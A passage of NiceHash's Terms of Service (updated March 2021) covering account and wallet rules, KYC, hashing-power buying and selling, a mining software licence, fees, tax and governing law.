use the NiceHash Platform and Mining Services, including without limitation as a result of any termination or suspension of the NiceHash Platform or these Terms, power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance, (ii) the cost of procurement of substitute goods or services, (iii) any your investments, expenditures, or commitments in connection with these Terms or your use of or access to the NiceHash Platform and Mining Services, (iv) your reliance on any information obtained from NiceHash, (v) Force Majeure Event, communications failure, theft or other interruptions or (vi) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with NiceHash Platform and Mining Services or NiceHash Wallet. Our aggregate liability (including our directors, members, employees and agents), whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of NiceHash Platform and Mining Services, or inability to use the Platform and Services under these Terms or under any other document or agreement executed and delivered in connection herewith or contemplated hereby, shall in any event not exceed 100 EUR per user. You will defend, indemnify, and hold NiceHash harmless and all respective employees, officers, directors, and representatives from and against any claims, demand, action, damages, loss, liabilities, costs and expenses (including reasonable attorney fees) arising out of or relating to (i) any third-party claim concerning these Terms, (ii) your use of, or conduct in connection with, NiceHash Platform and Mining Services, (iii) any feedback you provide, (iv) your violation of these Terms, (v) or your violation of any rights of any other person or entity. If you are obligated to indemnify us, we will have the right, in our sole discretion, to control any action or proceeding (at our expense) and determine whether we wish to settle it. If we are obligated to respond to a third-party subpoena or other compulsory legal order or process described above, you will also reimburse us for reasonable attorney fees, as well as our employees’ and contractors’ time and materials spent responding to the third-party subpoena or other compulsory legal order or process at reasonable hourly rates. The Services and the information, products, and services included in or available through the NiceHash Platform may include inaccuracies or typographical errors. Changes are periodically added to the information herein. Improvements or changes on the NiceHash Platform can be made at any time. NICEHASH ACCOUNT The registration of the NiceHash Account is made through the NiceHash Platform, where you are required to enter your email address and password in the registration form. After successful completion of registration, the confirmation email is sent to you. After you confirm your registration by clicking on the link in the confirmation email the NiceHash Account is created. NiceHash will send you proof of completed registration once the process is completed. When you create NiceHash Account, you agree to (i) create a strong password that you change frequently and do not use for any other website, (ii) implement reasonable and appropriate measures designed to secure access to any device which has access to your email address associated with your NiceHash Account and your username and password for your NiceHash Account, (iii) maintain the security of your NiceHash Account by protecting your password and by restricting access to your NiceHash Account; (iv) promptly notify us if you discover or otherwise suspect any security breaches related to your NiceHash Account so we can take all required and possible measures to secure your NiceHash Account and (v) take responsibility for all activities that occur under your NiceHash Account and accept all risks of any authorized or unauthorized access to your NiceHash Account, to the maximum extent permitted by law. Losing access to your email, registered at NiceHash Platform, may also mean losing access to your NiceHash Account. You may not be able to use the NiceHash Platform or Mining Services, execute withdrawals and other security sensitive operations until you regain access to your email address, registered at NiceHash Platform. If you wish to change the email address linked to your NiceHash Account, we may ask you to complete a KYC procedure for security purposes. This step serves solely for the purpose of identification in the process of regaining access to your NiceHash Account. Once the NiceHash Account is created a NiceHash Wallet is automatically created for the NiceHash Account when the request for the first deposit to the NiceHash Wallet is made by the user. Account holder’s NiceHash Wallet is generated by NiceHash Wallet provider. Account holder is strongly suggested to enhance the security of his NiceHash Account by adding an additional security step of Two-factor authentication (hereinafter “2FA”) when logging into his account, withdrawing funds from his NiceHash Wallet or placing a new order. Account holder can enable this security feature in the settings of his NiceHash Account. In the event of losing or changing 2FA code, we may ask the Account holder to complete a KYC procedure for security reasons. This step serves solely for the purpose of identification in the process of reactivating Account holders 2FA and it may be subject to an a In order to use certain functionalities of the NiceHash Platform, such as paying for the acquired hashing power, users must deposit funds to the NiceHash Wallet, as the payments for the hashing power could be made only through NiceHash Wallet. Hashing power providers have two options to get paid for the provided hashing power: (i) by using NiceHash Wallet to receive the payments or (ii) by providing other Bitcoin address where the payments shall be received to. Hashing power providers provide their Bitcoin address to NiceHash by providing such details via Account holder’s profile settings or in a form of a stratum username while connecting to NiceHash stratum servers. Account holder may load funds on his NiceHash Wallet from his Secondary account. Account holder may be charged fees by the Secondary account provider or by the blockchain network for such transaction. NiceHash is not responsible for any fees charged by Secondary account providers or by the blockchain network or for the management and security of the Secondary accounts. Account holder is solely responsible for his use of Secondary accounts and Account holder agrees to comply with all terms and conditions applicable to any Secondary accounts. The timing associated with a load transaction will depend in part upon the performance of Secondary accounts providers, the performance of blockchain network and performance of the NiceHash Wallet provider. NiceHash makes no guarantee regarding the amount of time it may take to load funds on to NiceHash Wallet. NiceHash Wallet shall not be used by Account holders to keep, save and hold funds for longer period and also not for executing other transactions which are not related to the transactions regarding the NiceHash Platform. The NiceHash Wallet shall be used exclusively and only for current and ongoing transactions regarding the NiceHash Platform. Account holders shall promptly withdraw any funds kept on the NiceHash Wallet that will not be used and are not intended for the reasons described earlier. Commission fees may be charged by the NiceHash Wallet provider, by the blockchain network or by NiceHash for any NiceHash Wallet transactions. Please refer to the NiceHash Platform, for more information about the commission fees for NiceHash Wallet transactions which are applicable at the time of the transaction. NiceHash reserves the right to change these commission fees according to the provisions to change these Terms at any time for any reason. You have the right to use the NiceHash Account only in compliance with these Terms and other commercial terms and principles published on the NiceHash Platform. In particular, you must observe all regulations aimed at ensuring the security of funds and financial transactions. Provided that the balance of funds in your NiceHash Wallet is greater than any minimum balance requirements needed to satisfy any of your open orders, you may withdraw from your NiceHash Wallet any amount of funds, up to the total amount of funds in your NiceHash Wallet in excess of such minimum balance requirements, to Secondary Account, less any applicable withdrawal fees charged by NiceHash or by the blockchain network for such transaction. Withdrawals are not processed instantly and may be grouped with other withdrawal requests. Some withdrawals may require additional verification information which you will have to provide in order to process the withdrawal. It may take up to 24 hours before withdrawal is fully processed and distributed to the Blockchain network. Please refer to the NiceHash Platform for more information about the withdrawal fees and withdrawal processing. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. You have the right to close the NiceHash Account. In case you have funds on your NiceHash Wallet you should withdraw funds from your account prior to requesting NiceHash Account closure. After we receive your NiceHash Account closure request we will deactivate your NiceHash Account. You can read more about closing the NiceHash Account in our Privacy Policy. Your NiceHash Account may be deactivated due to your inactivity. Your NiceHash account may be locked and a mandatory KYC procedure is applied for security reasons, if it has been more than 6 month since your last login. NiceHash or any of its partners or affiliates are not responsible for the loss of the funds, stored on or transferred from the NiceHash Wallet, as well as for the erroneous implementation of the transactions made via NiceHash Wallet, where such loss or faulty implementation of the transaction are the result of a malfunction of the NiceHash Wallet and the malfunction was caused by you or the NiceHash Wallet provider. You are obliged to inform NiceHash in case of loss or theft, as well as in the case of any possible misuse of the access data to your NiceHash Account, without any delay, and demand change of access data or closure of your existing NiceHash Account and submit a request for new access data. NiceHash will execute the change of access data or closure of the NiceHash Account and the opening of new NiceHash Account as soon as technically possible and without any undue delay. All information pertaining to registration, including a registration form, generation of NiceHash Wallet and detailed instructions on the use of the NiceHash Account and NiceHash Wallet are available at NiceHash Platform. The registration form as well as the entire system is properly protected from unwanted interference by third parties. KYC PROCEDURE NiceHash is appropriately implementing AML/CTF and security measures to diligently detect and prevent any malicious or unlawful use of NiceHash Services or use, which is strictly prohibited by these Terms, which are deemed as your agreement to provide required personal information for identity verification. Security measures include a KYC procedure, which is aimed at determining the identity of an individual user or an organisation. We may ask you to complete this procedure before enabling some or all functionalities of the NiceHash platform and provide its services. A KYC procedure might be applied as a security measure when: changing the email address linked to your NiceHash Account, losing or changing your 2FA code; logging in to your NiceHash Account for the first time after the launch of the new NiceHash Platform in August 2019, gaining access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof if they were disabled due to and activating your NiceHash Account if it has been deactivated due to its inactivity and/or security or other reasons. HASHING POWER TRANSACTIONS General NiceHash may, at any time and in our sole discretion, (i) refuse any order submitted or provided hashing power, (ii) cancel an order or part of the order before it is executed, (iii) impose limits on the order amount permitted or on provided hashing power or (iv) impose any other conditions or restrictions upon your use of the NiceHash Platform and Mining Services without prior notice. For example, but not limited to, NiceHash may limit the number of open orders that you may establish or limit the type of supported Hashing power rigs and mining algorithms or NiceHash may restrict submitting orders or providing hashing power from certain locations. Please refer to the NiceHash Platform, for more information about terminology, hashing power transactions’ definitions and descriptions, order types, order submission, order procedure, order rules and other restrictions and limitations of the hashing power transactions. NiceHash reserves the right to change any transaction, definitions, description, order types, procedure, rules, restrictions and limitations at any time for any reason. Orders, provision of hashing power, payments, deposits, withdrawals and other transactions are accepted only through the interface of the NiceHash Platform, NiceHash API and NiceHash Account and are fixed by the software and hardware tools of the NiceHash Platform. If you do not understand the meaning of any transaction option, NiceHash strongly encourages you not to utilize any of those options. Hashing Power Order In order to submit an Hashing Power Order via the NiceHash Account, the Hashing power buyer must have available funds in his NiceHash Wallet. Hashing power buyer submits a new order to buy hashing power via the NiceHash Platform or via the NiceHash API by setting the following parameters in the order form: NiceHash service server location, third-party mining pool, algorithm to use, order type, set amount he is willing to spend on this order, set price per hash he is willing to pay, optionally approximate limit maximum hashing power for his order and other parameters as requested and by confirming his order. Hashing power buyer may submit an order in maximum amount of funds available on his NiceHash Wallet at the time of order submission. Order run time is only approximate since order’s lifetime is based on the number of hashes that it delivers. Particularly during periods of high volume, illiquidity, fast movement or volatility in the marketplace for any digital assets or hashing power, the actual price per hash at which some of the orders are executed may be different from the prevailing price indicated on NiceHash Platform at the time of your order. You understand that NiceHash is not liable for any such price fluctuations. In the event of market disruption, NiceHash Services disruption, NiceHash Hashing Power Marketplace disruption or manipulation or Force Majeure Event, NiceHash may do one or more of the following: (i) suspend access to the NiceHash Account or NiceHash Platform, or (ii) prevent you from completing any actions in the NiceHash Account, including closing any open orders. Following any such event, when trading resumes, you acknowledge that prevailing market prices may differ significantly from the prices available prior to such event. When Hashing power buyer submits an order for purchasing of the Hashing power via NiceHash Platform or via the NiceHash API he authorizes NiceHash to execute the order on his behalf and for his account in accordance with such order. Hashing power buyer acknowledges and agrees that NiceHash is not acting as his broker, intermediary, agent or advisor or in any fiduciary capacity. NiceHash executes the order in set order amount minus NiceHash’s processing fee. Once the order is successfully submitted the order amount starts to decrease in real time according to the payments for the provided hashing power. Hashing power buyer agrees to pay applicable processing fee to NiceHash for provided services. The NiceHash’s fees are deducted from Hashing power buyer’s NiceHash Wallet once the whole order is exhausted and completed. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. All orders submitted prior the fee change but not necessary completed prior the fee change will be charged according to the fees applicable at the time of the submission of the order. NiceHash will attempt, on a commercially reasonable basis, to execute the Hashing power buyer’s purchase of the hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power buyer may cancel a submitted order during order’s lifetime. If an order has been partially executed, Hashing power buyer may cancel the unexecuted remainder of the order. In this case the NiceHash’s processing fee will apply only for the partially executed order. NiceHash reserves the right to refuse any order cancellation request once the order has been submitted. Selling Hashing Power and the Provision of Hashing Power In order to submit the hashing power to the NiceHash stratum server the Hashing power provider must first point its Hashing power rig to the NiceHash stratum server. Hashing power provider is solely responsible for configuration of his Hashing power rig. The Hashing power provider gets paid by Hashing power buyers for all validated and accepted work that his Hashing power rig has produced. The provided hashing power is validated by NiceHash’s stratum engine and validator. Once the hashing power is validated the Hashing power provider is entitled to receive the payment for his work. NiceHash logs all validated hashing power which was submitted by the Hashing power provider. The Hashing power provider receives the payments of current globally weighted average price on to his NiceHash Wallet or his selected personal Bitcoin address. The payments are made periodically depending on the height of payments. NiceHash reserves the right to hold the payments any time and for any reason by indicating the reason, especially if the payments represent smaller values. Please refer to the NiceHash Platform, for more information about the height of payments for provided hashing power, how the current globally weighted average price is calculated, payment periods, payment conditions and conditions for detention of payments. NiceHash reserves the right to change this payment policy according to the provisions to change these Terms at any time for any reason. All Hashing power rig’s earnings and profitability calculations on NiceHash Platform are only for informational purposes. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. You hereby acknowledge that it is possible that your Hashing power rigs would not be as profitable as indicated in our informational calculations or would not be profitable at all. Hashing power provider agrees to pay applicable processing fee to NiceHash for provided Services. The NiceHash’s fees are deducted from all the payments made to the Hashing power provider for his provided work. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. Hashing power provider which has not submitted any hashing power to the NiceHash stratum server for a period of 90 days agrees that a processing fee of 0.00001000 BTC or less, depending on the unpaid mining balance, will be deducted from his unpaid mining balance. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. NiceHash will attempt, on a commercially reasonable basis, to execute the provision of Hashing power providers’ hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power provider may disconnect the Hashing power rig from the NiceHash stratum server any time. NiceHash reserves the right to refuse any Hashing power rig once the Hashing power rig has been pointed towards NiceHash stratum server. RESTRICTIONS When accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, you warrant and agree that you: will not use the Services for any purpose that is unlawful or prohibited by these Terms, will not violate any law, contract, intellectual property or other third-party right or commit a tort, are solely responsible for your conduct while accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, will not access the NiceHash Platform or use the Mining Services in any manner that could damage, disable, overburden, or impair the provision of the Services or interfere with any other party's use and enjoyment of the Services, will not misuse and/or maliciously use Hashing power rigs, you will particularly refrain from using network botnets or using NiceHash Platform or Mining Services with Hashing power rigs without the knowledge or awareness of Hashing power rig owner(s), will not perform or attempt to perform any kind of malicious attacks on blockchains with the use of the NiceHash Platform or Mining Services, intended to maliciously gain control of more than 50% of the network's mining hash rate, will not use the NiceHash Platform or Mining Services for any kind of market manipulation or disruption, such as but not limited to NiceHash Mining Services disruption and NiceHash Hashing Power Marketplace manipulation. In case of any of the above mentioned events, NiceHash reserves the right to immediately suspend your NiceHash Account, freeze or block the funds in the NiceHash Wallet, and suspend your access to NiceHash Platform, particularly if NiceHash believes that such NiceHash Account are in violation of these Terms or Privacy Policy, or any applicable laws and regulation. RIGHTS AND OBLIGATIONS In the event of disputes with you, NiceHash is obliged to prove that the NiceHash service which is the subject of the dispute was not influenced by technical or other failure. You will have possibility to check at any time, subject to technical availability, the transactions details, statistics and available balance of the funds held on the NiceHash Wallet, through access to the NiceHash Account. You may not obtain or attempt to obtain any materials or information through any means not intentionally made available or provided to you or public through the NiceHash Platform or Mining Services. We may, in our sole discretion, at any time, for any or no reason and without liability to you, with prior notice (i) terminate all rights and obligations between you and NiceHash derived from these Terms, (ii) suspend your access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof and delete or deactivate your NiceHash Account and all related information and files in such account (iii) modify, suspend or discontinue, temporarily or permanently, any portion of NiceHash Platform or (iv) provide enhancements or improvements to the features and functionality of the NiceHash Platform, which may include patches, bug fixes, updates, upgrades and other modifications. Any such change may modify or delete certain portion, features or functionalities of the NiceHash Services. You agree that NiceHash has no obligation to (i) provide any updates, or (ii) continue to provide or enable any particular portion, features or functionalities of the NiceHash Services to you. You further agree that all changes will be (i) deemed to constitute an integral part of the NiceHash Platform, and (ii) subject to these Terms. In the event of your breach of these Terms, including but not limited to, for instance, in the event that you breach any term of these Terms, due to legal grounds originating in anti-money laundering and know your client regulation and procedures, or any other relevant applicable regulation, all right and obligations between you and NiceHash derived from these Terms terminate automatically if you fail to comply with these Terms within the notice period of 8 days after you have been warned by NiceHash about the breach and given 8 days period to cure the breaches. NiceHash reserves the right to keep these rights and obligations in force despite your breach of these Terms. In the event of termination, NiceHash will attempt to return you any funds stored on your NiceHash Wallet not otherwise owed to NiceHash, unless NiceHash believes you have committed fraud, negligence or other misconduct. You acknowledge that the NiceHash Services and NiceHash Wallet may be suspended for maintenance. Technical information about the hashing power transactions, including information about chosen server locations, algorithms used, selected mining pools, your business or activities, including all financial and technical information, specifications, technology together with all details of prices, current transaction performance and future business strategy represent confidential information and trade secrets. NiceHash shall, preserve the confidentiality of all before mentioned information and shall not disclose or cause or permit to be disclosed without your permission any of these information to any person save to the extent that such disclosure is strictly to enable you to perform or comply with any of your obligations under these Terms, or to the extent that there is an irresistible legal requirement on you or NiceHash to do so; or where the information has come into the public domain otherwise than through a breach of any of the terms of these Terms. NiceHash shall not be entitled to make use of any of these confidential information and trade secrets other than during the continuance of and pursuant to these Terms and then only for the purpose of carrying out its obligations pursuant to these Terms. NICEHASH MINER LICENSE (NICEHASH MINING SOFTWARE LICENSE) NiceHash Mining Software whether on disk, in read only memory, or any other media or in any other form is licensed, not sold, to you by NiceHash for use only under these Terms. NiceHash retains ownership of the NiceHash Mining Software itself and reserves all rights not expressly granted to you. Subject to these Terms, you are granted a limited, non-transferable, non-exclusive and a revocable license to download, install and use the NiceHash Mining Software. You may not distribute or make the NiceHash Mining Software available over a network where it could be used by multiple devices at the same time. You may not rent, lease, lend, sell, redistribute, assign, sublicense host, outsource, disclose or otherwise commercially exploit the NiceHash Mining Software or make it available to any third party. There is no license fee for the NiceHash Mining Software. NiceHash reserves the right to change the license fee policy according to the provisions to change these Terms any time and for any reason, including to decide to start charging the license fee for the NiceHash Mining Software. You are responsible for any and all applicable taxes. You may not, and you agree not to or enable others to, copy, decompile, reverse engineer, reverse compile, disassemble, attempt to derive the source code of, decrypt, modify, or create derivative works of the NiceHash Mining Software or any services provided by the NiceHash Mining Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by the licensing terms governing use of open-sourced components included with the NiceHash Mining Software). If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the NiceHash Mining Software and, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. You agree that NiceHash may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the NiceHash Mining Software and to verify compliance with these Terms. NiceHash may use this information, as long as it is in a form that does not personally identify you, to improve our NiceHash Services. NiceHash Mining Software contains features that rely upon information about your selected mining pools. You agree to our transmission, collection, maintenance, processing, and use of all information obtained from you about your selected mining pools. You can opt out at any time by going to settings in the NiceHash Mining Software. NiceHash may provide interest-based advertising to you. If you do not want to receive relevant ads in the NiceHash Mining Software, you can opt out at any time by going to settings in the NiceHash Mining Software. If you opt out, you will continue to receive the same number of ads, but they may be less relevant because they will not be based on your interest. NiceHash Mining Software license is effective until terminated. All provisions of these Terms regarding the termination apply also for the NiceHash Mining Software license. Upon the termination of NiceHash Mining Software license, you shall cease all use of the NiceHash Mining Software and destroy or delete all copies, full or partial, of the NiceHash Mining Software. THIRD PARTY MINERS AND PLUGINS Third Party Miners and Plugins are a third party software which enables the best and most efficient mining operations. NiceHash Miner integrates third party mining software using a third party miner plugin system. Third Party Mining Software is a closed source software which supports mining algorithms for cryptocurrencies and can be integrated into NiceHash Mining Software. Third Party Miner Plugin enables the connection between NiceHash Mining Software and Third Party Mining Software and it can be closed, as well as open sourced. NiceHash Mining Software user interface enables the user to manually select which available Third Party Miners and Plugins will be downloaded and integrated. Users can select or deselect Third Party Miners and Plugins found in the Plugin Manager window. Some of the available Third Party Miners and Plugins which are most common are preselected by NiceHash, but can be deselected, depending on users' needs. The details of the Third Party Miners and Plugins available for NiceHash Mining Software are accessible within the NiceHash Mining Software user interface. The details include, but not limited to, the author of the software and applicable license information, if applicable information about developer fee for Third Party Miners, software version etc. Developer fees may apply to the use of Third Party Miners and Plugins. NiceHash will not be liable, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages, arising out of using Third Party Miners and Plugins. The latter includes, but is not limited to: i) any power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance; ii) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with usage of Third Party Miners and Plugins and ii) Force Majeure Event, communications failure, theft or other interruptions. If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the installed Third Party Miners and Plugins, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. NICEHASH QUICKMINER NiceHash QuickMiner is a software application that allows the visitors of the NiceHash Quick Miner web page, accessible athttps://www.nicehash.com/quick-miner, to connect their PC or a mining rig to the NiceHash Hashing Power Marketplace. Visitors of the NiceHash Quick Miner web page can try out and experience crypto currency mining without having to register on the NiceHash Platform and create a NiceHash Account. Users are encouraged to do so as soon as possible in order to collect the funds earned using NiceHash Quick Miner. Users can download NiceHash QuickMiner free of charge. In order to operate NiceHash QuickMiner software needs to automatically detect technical information about users' computer hardware. You agree that NiceHash may collect and use technical and related information. For more information please refer to NiceHash Privacy Policy. Funds arising from the usage of NiceHash QuickMiner are transferred to a dedicated cryptocurrency wallet owned and managed by NiceHash. NiceHash QuickMiner Users expressly agree and acknowledge that completing the registration process and creating a NiceHash Account is necessary in order to collect the funds arising from the usage of NiceHash QuickMiner. Users of NiceHash QuickMiner who do not successfully register a NiceHash Account will lose their right to claim funds arising from their usage of NiceHash QuickMiner. Those funds, in addition to the condition that the user has not been active on the NiceHash QuickMiner web page for consecutive 7 days, will be donated to the charity of choice. NICEHASH PRIVATE ENDPOINT NiceHash Private Endpoint is a network interface that connects users privately and securely to NiceHash Stratum servers. Private Endpoint uses a private IP address and avoids additional latency caused by DDOS protection. All NiceHash Private Mining Proxy servers are managed by NiceHash and kept up-to-date. Users can request a dedicated private access endpoint by filling in the form for NiceHash Private Endpoint Solution available at the NiceHash Platform. In the form the user specifies the email address, country, number of connections and locations and algorithms used. Based on the request NiceHash prepares an individualized offer based on the pricing stipulated on the NiceHash Platform, available at https://www.nicehash.com/private-endpoint-solution. NiceHash may request additional information from the users of the Private Endpoint Solution in order to determine whether we are obligated to collect VAT from you, including your VAT identification number. INTELLECTUAL PROPERTY NiceHash retains all copyright and other intellectual property rights, including inventions, discoveries, knowhow, processes, marks, methods, compositions, formulae, techniques, information and data, whether or not patentable, copyrightable or protectable in trademark, and any trademarks, copyrights or patents based thereon over all content and other materials contained on NiceHash Platform or provided in connection with the Services, including, without limitation, the NiceHash logo and all designs, text, graphics, pictures, information, data, software, source code, as well as the compilation thereof, sound files, other files and the selection and arrangement thereof. This material is protected by international copyright laws and other intellectual property right laws, namely trademark. These Terms shall not be understood and interpreted in a way that they would mean assignment of copyright or other intellectual property rights, unless it is explicitly defined so in these Terms. NiceHash hereby grants you a limited, nonexclusive and non-sublicensable license to access and use NiceHash’s copyrighted work and other intellectual property for your personal or internal business use. Such license is subject to these Terms and does not permit any resale, the distribution, public performance or public display, modifying or otherwise making any derivative uses, use, publishing, transmission, reverse engineering, participation in the transfer or sale, or any way exploit any of the copyrighted work and other intellectual property other than for their intended purposes. This granted license will automatically terminate if NiceHash suspends or terminates your access to the Services, NiceHash Wallet or closes your NiceHash Account. NiceHash will own exclusive rights, including all intellectual property rights, to any feedback including, but not limited to, suggestions, ideas or other information or materials regarding NiceHash Services or related products that you provide, whether by email, posting through our NiceHash Platform, NiceHash Account or otherwise and you irrevocably assign any and all intellectual property rights on such feedback unlimited in time, scope and territory. Any Feedback you submit is non-confidential and shall become the sole property of NiceHash. NiceHash will be entitled to the unrestricted use, modification or dissemination of such feedback for any purpose, commercial or otherwise, without acknowledgment or compensation to you. You waive any rights you may have to the feedback. We have the right to remove any posting you make on NiceHash Platform if, in our opinion, your post does not comply with the content standards defined by these Terms. PRIVACY POLICY Please refer to our NiceHash Platform and Mining Services Privacy Policy published on the NiceHash Platform for information about how we collect, use and share your information, as well as what options do you have with regards to your personal information. COMMUNICATION AND SUPPORT You agree and consent to receive electronically all communications, agreements, documents, receipts, notices and disclosures that NiceHash provides in connection with your NiceHash Account or use of the NiceHash Platform and Services. You agree that NiceHash may provide these communications to you by posting them via the NiceHash Account or by emailing them to you at the email address you provide. You should maintain copies of electronic communications by printing a paper copy or saving an electronic copy. It is your responsibility to keep your email address updated in the NiceHash Account so that NiceHash can communicate with you electronically. You understand and agree that if NiceHash sends you an electronic communication but you do not receive it because your email address is incorrect, out of date, blocked by your service provider, or you are otherwise unable to receive electronic communications, it will be deemed that you have been provided with the communication. You can update your NiceHash Account preferences at any time by logging into your NiceHash Account. If your email address becomes invalid such that electronic communications sent to you by NiceHash are returned, NiceHash may deem your account to be inactive and close it. You may give NiceHash a notice under these Terms by sending an email to support@nicehash.com or contact NiceHash through support located on the NiceHash Platform. All communication and notices pursuant to these Terms must be given in English language. FEES Please refer to the NiceHash Platform for more information about the fees or administrative costs which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the Services provided after the change of the fees. You authorize us, or our designated payment processor, to charge or deduct your NiceHash Account for any applicable fees in connection with the transactions completed via the Services. TAX It is your responsibility to determine what, if any, taxes apply to the transactions you complete or services you provide via the NiceHash Platform, Mining Services and NiceHash Wallet, it is your responsibility to report and remit the correct tax to the appropriate tax authority and all your factual and potential tax obligations are your concern. You agree that NiceHash is not in any case and under no conditions responsible for determining whether taxes apply to your transactions or services or for collecting, reporting, withholding or remitting any taxes arising from any transactions or services. You also agree that NiceHash is not in any case and under no conditions bound to compensate for your tax obligation or give you any advice related to tax issues. All fees and charges payable by you to NiceHash are exclusive of any taxes, and shall certain taxes be applicable, they shall be added on top of the payable amounts. Upon our request, you will provide to us any information that we reasonably request to determine whether we are obligated to collect VAT from you, including your VAT identification number. If any deduction or withholding is required by law, you will notify NiceHash and will pay NiceHash any additional amounts necessary to ensure that the net amount received by NiceHash, after any deduction and withholding, equals the amount NiceHash would have received if no deduction or withholding had been required. Additionally, you will provide NiceHash with documentation showing that the withheld and deducted amounts have been paid to the relevant taxing authority. FINAL PROVISIONS Natural persons and legal entities that are not capable of holding legal rights and obligations are not allowed to create NiceHash Account and use NiceHash Platform or other related services. If NiceHash becomes aware that such natural person or legal entity has created the NiceHash Account or has used NiceHash Services, NiceHash will delete such NiceHash Account and disable any Services and block access to NiceHash Account and NiceHash Services to such natural person or legal entity. If you register to use the NiceHash Services on behalf of a legal entity, you represent and warrant that (i) such legal entity is duly organized and validly existing under the applicable laws of the jurisdiction of its organization; and (ii) you are duly authorized by such legal entity to act on its behalf. These Terms do not create any third-party beneficiary rights in any individual or entity. These Terms forms the entire agreement and understanding relating to the subject matter hereof and supersede any previous and contemporaneous agreements, arrangements or understandings relating to the subject matter hereof to the exclusion of any terms implied by law that may be excluded by contract. If at any time any provision of these Terms is or becomes illegal, invalid or unenforceable, the legality, validity and enforceability of every other provisions will not in any way be impaired. Such illegal, invalid or unenforceable provision of these Terms shall be deemed to be modified and replaced by such legal, valid and enforceable provision or arrangement, which corresponds as closely as possible to our and your will and business purpose pursued and reflected in these Terms. Headings of sections are for convenience only and shall not be used to limit or construe such sections. No failure to enforce nor delay in enforcing, on our side to the Terms, any right or legal remedy shall function as a waiver thereof, nor shall any individual or partial exercise of any right or legal remedy prevent any further or other enforcement of these rights or legal remedies or the enforcement of any other rights or legal remedies. NiceHash reserves the right to make changes, amendments, supplementations or modifications from time to time to these Terms including but not limited to changes of licence agreement for NiceHash Mining Software and of any fees and compensations policies, in its sole discretion and for any reason. We suggest that you review these Terms periodically for changes. If we make changes to these Terms, we will provide you with notice of such changes, such as by sending an email, providing notice on the NiceHash Platform, placing a popup window after login to the NiceHash Account or by posting the amended Terms on the NiceHash Platform and updating the date at the top of these Terms. The amended Terms will be deemed effective immediately upon posting for any new users of the NiceHash Services. In all other cases, the amended Terms will become effective for preexisting users upon the earlier of either: (i) the date users click or press a button to accept such changes in their NiceHash Account, or (ii) continued use of NiceHash Services 30 days after NiceHash provides notice of such changes. Any amended Terms will apply prospectively to use of the NiceHash Services after such changes become effective. The notice of change of these Terms is considered as notice of termination of all rights and obligations between you and NiceHash derived from these Terms with notice period of 30 days, if you do not accept the amended Terms. If you do not agree to any amended Terms, (i) the agreement between you and NiceHash is terminated by expiry of 30 days period which starts after NiceHash provides you a notice of change of these Terms, (ii) you must discontinue using NiceHash Services and (iii) you must inform us regarding your disagreement with the changes and request closure of your NiceHash Account. If you do not inform us regarding your disagreement and do not request closure of you NiceHash Account, we will deem that you agree with the changed Terms. You may not assign or transfer your rights or obligations under these Terms without the prior written consent of NiceHash. NiceHash may assign or transfer any or all of its rights under these Terms, in whole or in part, without obtaining your consent or approval. These Terms shall be governed by and construed and enforced in accordance with the Laws of the British Virgin Islands, and shall be interpreted in all respects as a British Virgin Islands contract. Any transaction, dispute, controversy, claim or action arising from or related to your access or use of the NiceHash Platform or these Terms of Service likewise shall be governed by the Laws of the British Virgin Islands, exclusive of choice-of-law principles. The rights and remedies conferred on NiceHash by, or pursuant to, these Terms are cumulative and are in addition, and without prejudice, to all other rights and remedies otherwise available to NiceHash at law. NiceHash may transfer its rights and obligations under these Terms to other entities which include, but are not limited to H-BIT, d.o.o. and NICEX Ltd, or any other firm or business entity that directly or indirectly acquires all or substantially all of the assets or business of NICEHASH Ltd. If you do not consent to any transfer, you may terminate this agreement and close your NiceHash Account. These Terms are not boilerplate. If you disagree with any of them, believe that any should not apply to you, or wish to negotiate these Terms, please contact NiceHash and immediately navigate away from the NiceHash Platform. Do not use the NiceHash Mining Services, NiceHash Wallet or other related services until you and NiceHash have agreed upon new terms of service. Last updated: March 1, 2021
Tinkprocodes
